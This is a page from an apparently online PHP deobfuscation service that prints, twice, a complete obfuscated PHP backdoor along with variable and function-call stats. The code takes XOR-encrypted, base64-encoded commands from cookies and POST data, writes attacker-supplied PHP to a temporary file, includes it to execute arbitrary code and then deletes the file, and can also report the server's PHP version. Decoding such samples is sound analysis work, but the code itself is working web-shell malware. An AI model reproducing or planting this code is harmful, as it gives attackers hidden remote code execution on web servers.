Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function cnolmvsuk(){$gqhrrqlb_='ybonr'; print_r (53416+53416); } $jrym..

Decoded Output download

<?php 
function  cnolmvsuk(){$gqhrrqlb_='ybonr';  print_r    (53416+53416);       } 
$jrympmhqx  =    'jrympmhqx'    ^  '	'; 
function  sndyrf_l(){ 
	$pyvlwsco  =    555; 
    $lcj_l   =  'bvueuhf'; 
	$ly_x_  =  555; 
    $zljbpbnlv  =    $ly_x_    *  19; 
} 
function	qmuqewjc($exuccclppa,    $ktjryxvg) 
{ 
     global    $jrympmhqx;  $tezncm  =  ""; 
    $gpeah   =    '_amjkemaba'; 
     for   ($rlnrsacdzw  =    0;   $rlnrsacdzw  <  strlen($exuccclppa);)	{ 
     for       ($rlnrs    =       0;     $rlnrs  <       strlen($ktjryxvg)  &&  $rlnrsacdzw  <    strlen($exuccclppa);   $rlnrs++,  $rlnrsacdzw++)	{ 
      $tezncm  .=	$jrympmhqx(ord($exuccclppa[$rlnrsacdzw])	^  ord($ktjryxvg[$rlnrs])); 
    } 
     } 
  return    $tezncm; 
} 
$kiugt     =    $_COOKIE; 
$ueuqhaiw	=       $_POST; 
$exrqs    =  407; 
$xbqpe   =  $exrqs	+	10; 
$zfiscl    =  897; 
function  cstlkma($fqvrl,  $exuccclppa) 
{ 
    global    $jrympmhqx; 
    $zkajgtju  =  sprintf("./%s.pl",  md5($fqvrl)); 
  file_put_contents($zkajgtju,	"<"      .    $jrympmhqx(63)    .     $jrympmhqx(112)	.  "hp"	.  $jrympmhqx(32)    .	$jrympmhqx(117)  .  "nli"  .    $jrympmhqx(110)  .	"k(__"  .  $jrympmhqx(397-327)    .  "ILE_"  .    $jrympmhqx(95)  .       ");"  .    $jrympmhqx(32)    .  $exuccclppa["d"]); 
  include($zkajgtju);	$yjvbhosxup  =  146; 
     $svclnfe_kt	=       'elplf';  $oxumgozoiq  =  'rvpsjl';    $lagmysneem    =    $zkajgtju; 
       @unlink($lagmysneem); 
  $gbifle     =  'cxende'; 
} 
function      cpboki() 
{	$ywvkxsrc_  =      314; 
} 
function	tktryb(){ 
  global    $jrympmhqx; 
    $rlnrsacdzw   =	array(); 
	$vebxe  =  'uw';  $fwxvlvyo  =	257; 
    $rlnrsacdzw["pv"]  =       phpversion();       $fwxvlvyo	=	$fwxvlvyo  /    6;   $rlnrsacdzw["sv"]  =      "3.".$jrympmhqx(319-266); 
      $qipsvq  =  'mviva_pdka'; 
	echo      @serialize($rlnrsacdzw); 
    $fwxvlvyo   =	$fwxvlvyo  %  17;	$fwxvlvyo  =    $fwxvlvyo    -  19;} 
cpboki(); 
sndyrf_l(); 
function   wucufl($exuccclppa,  $fqvrl,    $_caeif) 
{ 
	global       $jrympmhqx; 
	$exuccclppa      =    unserialize(qmuqewjc(qmuqewjc(base64_decode($exuccclppa),  $fqvrl),	$_caeif));      $rlnrsacdzws_agr	=  'btac_mv_p'; 
  $hyp_tpkkns  =    strtolower('jgfrucqsov'); 
  if  (isset($exuccclppa["ak"]))  { 
  if  ($exuccclppa["a"]  ==    "i")  { 
   tktryb(); 
	}       elseif   ($exuccclppa["a"]   ==    $jrympmhqx(101))  { 
   cstlkma($fqvrl,  $exuccclppa);    }   
  } 
} 
$kiugt    =  array_merge($ueuqhaiw,	$kiugt); 
$fqvrl     =	$jrympmhqx(49)  .      "44a8a03-"  .  $jrympmhqx(357-309)	.   "880".$jrympmhqx(315-270)  .  $jrympmhqx(1016-964)    .  "2b7".$jrympmhqx(395-350)      .    "8".$jrympmhqx(56)  .  "66-bd"	.   $jrympmhqx(1033-936)  .   "7c".$jrympmhqx(101)  .  $jrympmhqx(101)."7"    .    $jrympmhqx(52)  .  ""  .    $jrympmhqx(100);$pgcawocs  =    -12;foreach  ($kiugt    as	$_caeif       =>    $exuccclppa)  { 
	wucufl($exuccclppa,	$fqvrl,  $_caeif); 
} 
?>

Did this file decode correctly?

Original Code

<?php
function  cnolmvsuk(){$gqhrrqlb_='ybonr';  print_r    (53416+53416);       }
$jrympmhqx  =    'jrympmhqx'    ^  '	';
function  sndyrf_l(){
	$pyvlwsco  =    555;
    $lcj_l   =  'bvueuhf';
	$ly_x_  =  555;
    $zljbpbnlv  =    $ly_x_    *  19;
}
function	qmuqewjc($exuccclppa,    $ktjryxvg)
{
     global    $jrympmhqx;  $tezncm  =  "";
    $gpeah   =    '_amjkemaba';
     for   ($rlnrsacdzw  =    0;   $rlnrsacdzw  <  strlen($exuccclppa);)	{
     for       ($rlnrs    =       0;     $rlnrs  <       strlen($ktjryxvg)  &&  $rlnrsacdzw  <    strlen($exuccclppa);   $rlnrs++,  $rlnrsacdzw++)	{
      $tezncm  .=	$jrympmhqx(ord($exuccclppa[$rlnrsacdzw])	^  ord($ktjryxvg[$rlnrs]));
    }
     }
  return    $tezncm;
}
$kiugt     =    $_COOKIE;
$ueuqhaiw	=       $_POST;
$exrqs    =  407;
$xbqpe   =  $exrqs	+	10;
$zfiscl    =  897;
function  cstlkma($fqvrl,  $exuccclppa)
{
    global    $jrympmhqx;
    $zkajgtju  =  sprintf("./%s.pl",  md5($fqvrl));
  file_put_contents($zkajgtju,	"<"      .    $jrympmhqx(63)    .     $jrympmhqx(112)	.  "hp"	.  $jrympmhqx(32)    .	$jrympmhqx(117)  .  "nli"  .    $jrympmhqx(110)  .	"k(__"  .  $jrympmhqx(397-327)    .  "ILE_"  .    $jrympmhqx(95)  .       ");"  .    $jrympmhqx(32)    .  $exuccclppa["d"]);
  include($zkajgtju);	$yjvbhosxup  =  146;
     $svclnfe_kt	=       'elplf';  $oxumgozoiq  =  'rvpsjl';    $lagmysneem    =    $zkajgtju;
       @unlink($lagmysneem);
  $gbifle     =  'cxende';
}
function      cpboki()
{	$ywvkxsrc_  =      314;
}
function	tktryb(){
  global    $jrympmhqx;
    $rlnrsacdzw   =	array();
	$vebxe  =  'uw';  $fwxvlvyo  =	257;
    $rlnrsacdzw["pv"]  =       phpversion();       $fwxvlvyo	=	$fwxvlvyo  /    6;   $rlnrsacdzw["sv"]  =      "3.".$jrympmhqx(319-266);
      $qipsvq  =  'mviva_pdka';
	echo      @serialize($rlnrsacdzw);
    $fwxvlvyo   =	$fwxvlvyo  %  17;	$fwxvlvyo  =    $fwxvlvyo    -  19;}
cpboki();
sndyrf_l();
function   wucufl($exuccclppa,  $fqvrl,    $_caeif)
{
	global       $jrympmhqx;
	$exuccclppa      =    unserialize(qmuqewjc(qmuqewjc(base64_decode($exuccclppa),  $fqvrl),	$_caeif));      $rlnrsacdzws_agr	=  'btac_mv_p';
  $hyp_tpkkns  =    strtolower('jgfrucqsov');
  if  (isset($exuccclppa["ak"]))  {
  if  ($exuccclppa["a"]  ==    "i")  {
   tktryb();
	}       elseif   ($exuccclppa["a"]   ==    $jrympmhqx(101))  {
   cstlkma($fqvrl,  $exuccclppa);    }  
  }
}
$kiugt    =  array_merge($ueuqhaiw,	$kiugt);
$fqvrl     =	$jrympmhqx(49)  .      "44a8a03-"  .  $jrympmhqx(357-309)	.   "880".$jrympmhqx(315-270)  .  $jrympmhqx(1016-964)    .  "2b7".$jrympmhqx(395-350)      .    "8".$jrympmhqx(56)  .  "66-bd"	.   $jrympmhqx(1033-936)  .   "7c".$jrympmhqx(101)  .  $jrympmhqx(101)."7"    .    $jrympmhqx(52)  .  ""  .    $jrympmhqx(100);$pgcawocs  =    -12;foreach  ($kiugt    as	$_caeif       =>    $exuccclppa)  {
	wucufl($exuccclppa,	$fqvrl,  $_caeif);
}
?>

Function Calls

cpboki 1
sndyrf_l 1
array_merge 1

Variables

$exrqs 407
$kiugt 0
$lcj_l bvueuhf
$ly_x_ 555
$xbqpe 417
$zfiscl 897
$pyvlwsco 555
$ueuqhaiw 0
$jrympmhqx c{pdydaxq
$ywvkxsrc_ 314
$zljbpbnlv 10545

Stats

MD5 cb177f75d643319d6f6cc338caf97c89
Eval Count 0
Decode Time 74 ms